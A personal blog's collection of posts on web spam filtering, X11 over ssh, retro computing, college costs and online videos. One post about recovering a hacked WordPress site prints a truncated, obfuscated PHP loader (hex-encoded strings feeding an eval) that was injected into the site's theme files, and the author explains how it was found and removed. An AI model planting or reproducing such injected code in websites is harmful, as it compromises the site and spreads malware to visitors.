I had been annoyed recently by an increasing number of SPAM subscriptions on my Thaidye.com web site. The script behind the form for these subscriptions and requests for rebate immediate send out a confirmation email to the address entered (as well as to the admin of the site) and add the visitor to a database.
Initially there were a few of those spam entries and I could easily go into the database and manually remove them. But they became more and more numerous, so the first step was to add a link to the email the admin received which allowed for an easy removal of that spam entry.
But finally it got so annoying and time-consuming that I tried to think of a more automated way to handle the spam entries. What they all had in common was
a good first name
a gibberish last name like NLMAkPJpIVyqCkCeuEh, YijhgzswktJTVWqXhmA or MPSVPkfXInMzFYhEOpp
and a good email
The email was probably a good one because there were hardly any bounces for the automatic confirmation emails. That actually bothered me also because these poor recipients got some SPAM apparently coming from me.
Now the quest for me was to find something that all these spam entries had in common so that I could filter them somehow. Unfortunately php does not have a ‘gibberish’ function, so I had to come up with one of my own. Meditating over these entries I finally saw that these spam names often have longer sequences of consonants than would occur in valid names.
With a little bit of help from my friends at Google I came up with the following. With the hope that it might help somebody bothered by the same spammers, here the code snippet to filter those entries:
$first = $_REQUEST[first];
$last = $_REQUEST[last];
$gibberish = preg_match('/[bcdfghjklmnpqrstvwxz]{4,}/i', $first)
|| preg_match('/[bcdfghjklmnpqrstvwxz]{4,}/i', $last);
if (! $gibberish) {
//do the regular processing
}
else {
// pretend every thing went find for the spammer
// but don't really do anything
}
Will see how many will slip through – gibberish with less than 4 consonants in a row.
What I am still curious about is ‘WHY’? What the spammer intends with these spam entries. I don’t see any way that could be beneficial to him/her. Discrediting me because the site sents out spam? But why then use gibberish in the last name? I am really curious.
Today the wait was over – the second half of season 7 of Dr. Who has started.
I bet that most views of the show happened on the official channels like BBC America here in the US of A, but, as we are out in the boons, with the cable left behind, we depended on the good old pirate bay to get our fix of Dr. Who (obviously this is a lie, as we would never download any tv show illegally.) Had we actually looked at the torrents we would have been surprised by all the buzz on the interconnected pipes that make up the internet. Way over 2000 seeders is rather rare, and still, download speed would have been – had we done that – still rather slow, so there would have been many, many people as excited to find out about the Doctor’s new adventures and all with a new companion.
Had we been able to watch the show after downloading it illegally we would have been able to actually watch it on the west coast before it officially aired. As I write this, it’s only a bit after the show ended and we would have finished it hours ago – way ahead of all the people waiting for the BBC to start it – Man – are time zones cool, or what?
I’m really curious if the Doctor will get lucky with this companion, but I’m not really holding my breath as one of the big tensions in the series is that that never happens. Strange things can happen if time travel is involved, like Amy turning out to be the Doctor’s mother in law – who comes up with those things?
It was in the early days of the internet, a time when Google did not exist yet, when we used Alta Vista to find things on that interweb. When Netscape was strong and the driving force of new developments on this world wide web. When there were pages at Netscape where you could tell the world about new sites or pages – and the world came.
It was 1995!
This is when we started something that would later be called a blog. Sure, there was no PHP (at least on the web) and certainly no WordPress, so the blog entries had to be crafted by hand, usually in a simple text editor and the blogger had to know HTML. Not that there was much to be known – the leading edge of HTML tags were background images and music.
This was the year ‘My Hobby Kitchen’ was born. The plan was to publish one Thai recipe every few days, or how often we managed. If we had kept it up, by now we would have – at one recipe per day – close to one thousand recipes. That number shows that it was just not possible, as nobody knows 1000 recipes. We did – maybe – foresee that and invented the ‘guest blogger.’ But only one came on board, shortly before the project died.
The amazing part of the story is that these pages survived. After a multitude of ISPs, and moving between different domains, these pages are still online and they are finding a new home now on a (real) blog.
I kept the pages as they were, just made some adjustments to fit into the framework of this blog, removed any pointers to websites that don’t exist anymore, and anonymized it to protect the guilty. But I left all the tacky background music (at least it does not start automatically) and images intact so that all those young people can see how it all started. It was written from the perspective of my significant other who is Thai and knew what she was doing – yours truly was just the webmaster.
Serious programming in the olden days mean to deal with Unix – the father of today’s ubiquitous Linux running bigger part of the internet.
The first bigger project I was involved in was still the good old DOS with Turbo Pascal – anybody remember that?
As soon as I could, and we had to build something less of a hack but more of a software-engineered application, I steered my client into Unix, first the X86 version of Xenix, which turned out to be too flaky, and then a nice hundred thousand dollar HP Workstation. As it was an application involving graphics, an important order of business was to get familiar with the principles and techniques of the X11 windowing system.
This was not a very long-lived project, and with the advent of more powerful x86 hardware and a finally decent piece of software from Microsoft – Windows NT – the development was moved to that new platform. The fact that the port from X to NT was not terribly difficult was a nice testimonial for the proper application of software engineering principles. Hacking mentality, as promoted by something like Turbo Pascal, would have required a complete rewrite.
System administration, which I had become familiar with during that time, was helpful when I started maintaining a few Linux web servers years later. I always considered X11 far superior to all the other graphical windows software, but I really had never anything to do with it any more – until a point in time a few days ago.
First of all, I finally succeeded in getting Ubuntu running on an old laptop. A flaky DVD had never gotten me through an installation properly, and the machine was so old that it could not boot from a memory stick. I ultimately succeeded when I found a utility I could burn onto a CD and boot from that, which made my USB bootable. Now I could load Ubuntu from the USB stick.
So, there I finally was again with a computer with a proper graphical user interface. But that computer was tucked away somewhere with little physical access. It served as a local testing machine for web development – did not really need X Windows for that!
But it was sitting there, teasing me, so I finally got XMing – an X Server running on MS Windows – installed on my main computer where I sit all day, and I could finally connect to that old laptop remotely with a graphical user interface. In my early days of X11 there was not too much concern about security – it was all on the local network – yes, a coax ethernet cable – and to have an application display on an X-terminal you just had to set the DISPLAY environment variable to the IP address of any X-Server, like an X-terminal, and authorize its use.
That is all different now. I learned that from a remote machine you start an ssh connection on my workstation (Windows 7) to the remote host (old Linux laptop) using putty. If the putty session had X Forwarding enabled, then a secure tunnel for all the X traffic was created. This tunnel could even go through a router with NAT without a problem. Initially I had wondered why I saw the value of the DISPLAY variable set to strange things like localhost:10.0 – but I finally understood that this was how the ssh tunnel worked: the ssh server on the old laptop pretended to be a local X server on display number 10; then it transported all the X traffic it received securely to the machine I was sitting on and fed it into XMing. It all worked perfectly.
Two weeks later I received my first Raspberry Pi, and that little wonder did behave the same way as the old laptop, a bit slower, I have to admit, so the old laptop is still a bit more powerful than the miniature Linux box sitting over there on my speaker. Both are full LAMP systems and are even accessible from the rest of the world through the magic of DynDNS and port forwarding.
But then my trouble began.
As I had all this so nicely and easily set up, it was suddenly not enough any more that I logged into my real web servers only with putty, SCP, and DirectAdmin. Nostalgia had me in its grip and I just had to get X running on them as well.
First of all there was no X-stuff installed on those servers as they were web servers in some remote data center. But a “yum install xterm” got this handled. Still no go – starting xterm from the ssh login gave me the error message that the display was either not there or could not be opened.
The next step, I found out, was to enable X11Forwarding for the sshd on the remote server – but still no go – the DISPLAY variable was still not set. Lots of Googling around but no solution – everything I tried made no difference.
But I learned about the -vvv parameter to ssh. It would give me insight into what was happening during the establishing of the ssh connection. Unfortunately, putty does not have it! But I found that it has a logging function and after turning this on and comparing the logs from connections to my local old laptop and the remote web server I finally saw the light:
xauth
After I had it yum-installed and run to generate a new .Xauthority file for a local X server my quest for the xterm running on that web server and displaying on my local machine behind a NAT router in my office had come to a successful conclusion.
Not that I will use that much – putty and SCP have done the job for me for years – but I now could, potentially, install firefox on that server and start browsing through that server located at a very different place on the planet.
Hmmm – why don’t I just try that: yum install firefox………………………. finally, after installing a gazillion dependent packages, the installation is – complete!
Now: firefox& – wait – wait – wait…
Firefox did show up – eventually.
hold on – revisited and edited a few years later:
It is clear that I have to file this away under ‘education’ as it is was too slow to make it usable.
By now we have evolved mostly past X, and the age of Wayland has arrived. Furthermore, we have Linux under Windows! in form of the WSL (Windows Subsystem for Linux), which – in its latest iteration, can actually display a native Linux application on the Windows desktop.
It made me feel sentimental as my very first computer had been a Trash-80 and I remember having a lot of fun with it. One of the most difficult tasks for me to understand, at that time, had been the idea of an interpreted language, like that TRS-80 Basic.
Before that computer, I had been mostly exposed to assembler and some high-level language like Fortran and PL3 on an IBM mainframe. The idea of typing in human-readable code and directly running it – without compiling and linking – was a strange concept for me to grasp.
The TRS-80 I had was far less sophisticated than the one shown in the above catalog, so I looked around and found a picture that matched better what I remembered:
I believe that I had the 16kB model but certainly no floppy disks – I saved my programs and data on cassette tape. With my difficulty to grasp the concept of interpreted languages the first program I bought was an assembler. I was quite some work to get anything done with this setup:
Insert the cassette with the assembler and load the program
Edit and assemble the code, keeping source and assembled program in memory
Insert a new cassette into the recorder and save the source file
Insert a different cassette into the recorder and save the assembled program
Load the assembled program (overwriting the assembler in memory)
Running, testing the assembled program and writing down errors
Rinse and repeat
This lengthy procedure trained you to really think ahead and consider all possible errors – it took too long to ‘just try’ something. In this regards those interpreted languages are much easier and train programmers to be much sloppier.
The bigger part of the internet now is based on such sloppy work – whenever you have a PHP file it is more or less interpreted like the old Basic in my Trash 80. I once read – and it made a lot of sense – that we would do a lot to avoid global warming if we would compile all those billions of lines of PHP code into machine code once and then execute that on the server. All data centers around the world could be scaled down considerably if each line of PHP code would not have to be compiled over and over and over again, thus saving energy for the processors of the webserver and the energy for cooling them.
Maybe, then the web could run on a couple of TRS-80s.
Now that all those nerds that created the computer revolution are getting to an age where we might lose them – see Steve Jobs – documentaries like Robert X. Cringley’s Triumph of the Nerds become more of a history text book (book understood more figuratively).
In the old InfoWorld magazine/newspaper Cringley’s column “Notes from the Field” was always my favorite – your’s too, Max, right?
So, I just had to stop and listen (and watch) when I ran into his documentary “Triumph of the Nerds” on Youtube.
This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.
Took me a while to recover, because, amongst other things, the location of my server had changed due to a data-center consolidation. So, it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?
But eventually, all turned out fine and the site is working properly again. As I looked around the net quite a bit and could not find a good solution, I thought I share my findings here in the hope that it might help another soul at some time.
First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.
Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.
Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!
Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran, were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?
Finally the good idea came and I should have looked there first: a diff over the theme I was using with a different installation that used the same theme, finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
...and so on
= "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.
Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.
Now I just have to send him an email with his new password.
I ran into this video teaching us how to use a dial telephone…
… and that got me to think.
From today’s point of view, this is obviously funny, but I tried to imagine what things that we consider high-tech today will look really funny to my son when he is my age.
Speaking of my son, I have noticed one piece of technology I grew up with that he already has no personal experience with: the tick-tock of a clock. He might still know that a clock in the distant past did make such a sound, but he has never heard it himself.
Or the first super-high-tech wrist watch I had – with red LED segmented numbers. These LEDs used so much power that I had to switch them on – and off right away – to see the time. Very inconvenient at a party where you were fondling a glass of whiskey on the rocks, trying to look as cool as your watch. Very uncool to put the glass down just to push the little button on your other wrist and realize that, after two hours of looking cool, you still didn’t have the nerve to talk to the cute brunette.
So, what’s the item with the biggest cool factor today? Maybe tablets like the iPad. I believe this is a good candidate to look ridiculous in 20 or 30 years. Imagine you’re lugging around a book-sized slate – just like Moses did when he came down the mountain – only to access some information, or look up an address. Tomorrow you simply say your search term into the ether and the information materializes right in front of your eyes, or even better, you just pose the question in your mind and the answer is directly delivered to your own synapses via a synaptic interface – – – who needs eyes – – – maybe we have them closed at all times as all the experiences we have are virtual anyway. While we experience a rich virtual world, our bodies are securely stored and fed through some tubes while at the same time acting as a power source for the computer system that runs the whole virtual world, and …. hold on, doesn’t that sound somehow familiar?
I went to college in Germany (they call it Universität) and the semester fees were about 23 Marks – maybe 10 Dollars. I lived with my parents but was registered at a friend’s house so that I could draw state-funded study support, part of which was a loan. (I still owe some of that today, by the way.)
So, I have to say, my college education was pretty – – – inexpensive. At least for me personally, maybe not so for the rest of the population. But my justification was always that later in my professional life, I would earn well and pay lots of taxes.
OK, the latter did not really happen. First, I was self-employed most of the time, and I first saw all of my money in my account and only then had to write a check (instead of it being collected before the wage earner even sees it). That created a rather intense resistance, so I did everything possible to avoid writing big numbers on those checks.
And second, I left Germany after just about six or seven years.
At one point, it becomes acute to think about those things for my son. He is still a few years away from any college thoughts, but eventually it will be something to consider.
Now I ran into this video that paints a bleak picture of the current college situation here in the old US of A… (when I revisited this article, my original video was not available any longer, so I found another one)
There is not that much to add in terms of the facts, that it really does not seem to be worth going to college anymore, but what I do want to add is the following from my very own experiences.
I studied physics and got up to the equivalent of a master’s degree – 6 years. It was fun to a greater degree, especially my little stints down at CERN, to mingle with world-class scientists – for example, the internet was born down there (no, it was not Al Gore!)
But I did not pursue a career in science; instead moved into the computer field, which was just then starting to be something to be reckoned with. What later became computer science was, in the beginning, manned by physicists and mathematicians.
So, after college, I never did anything much in physics. I did practice forcing my will onto computers during my college days, but this was more or less a side effect because the experiments I conducted produced lots of data, and we happened to have PDP 11 at the physics chair where I did my work. My first contacts with computers, a little bit before that, were in my spare time when I taught myself to program a big IBM mainframe (I think it was an IBM 360) through the use of punch cards. I did this just because I was fascinated by these machines, not because of any career goal.
All this happened during a time when, in most cases, you could still do the job you trained for for the rest of your life. With the accelerated development in technology and science, that is definitely not true anymore. Sure, programming the PDP 11 in assembler gave me some basis, but certainly did not prepare me for optimizing websites and writing that occasional PHP application. All that I do now is self-taught and did not require me to sit in some auditorium and listen to a professor who has given the same lecture for the last 20 years, who can not be replaced by something younger and more up-to-date because he has tenure.
This is why I have to wholeheartedly agree with the implied conclusions in the above video that going to college at this time is a waste of time and money, and at these costs would just make you a slave for the rest of your life. It was scary for me to learn that not even a bankruptcy can get you out of these student loans – do I see debtor’s prisons on the horizon?
Maybe my son is really smart, because at his young age, he is really embracing the digital world, which might be the area that we will be living in in 10 – 15 years. You’d better learn how to become an entrepreneur in Second Life.
I know, the title might be a little pretentious, maybe even a lot, but running into her on a Google Help page was a rather interesting experience – who would expect to find a music video on a Google Help page – and so I dug a bit deeper, and by collecting my findings here, I might save you your own digging.
First things first – here is the video that Google gave me as an example for what it was explaining on the help page…
I certainly liked the music and video, but why was she ‘AppleGirl’?
A bit of digging let me find the likely answer that it was because the instruments she played in her first video on the internet were iPhones – yes, iPhones! Four iPhones running different music apps, attached to some kind of rack-contraption, were her instrument(s) of choice. And she became famous – the video and the follow-up went viral. Here is that first one…
and the next one, where she explains a bit more about her instruments.
Mysteries do get people hooked. So, the mystery of who that girl, only known as AppleGirl, was, might have helped the fast spreading of these videos. By now, the mystery is solved, she is Kim Yeo Hee, and the latest video (the first on at the top) with its professional lighting, recording, and editing is a strong indication that her career is taking off.
So, what was the effect on me? I got some enjoyment out of watching these videos, and got the idea that if there are music apps for the iPhone, there must be some for Android as well. This assumption turned out to be true, and I now have a virtual piano and guitar on my G1. I know, it’s ridiculous, I still have a G1, but at least I have it rooted and running Froyo (2.2) on it – even though a bit slow. By the way, even with that version of Android and an adapter directly from HTC, my squareup.com card reader, “the cube,” still does not work.
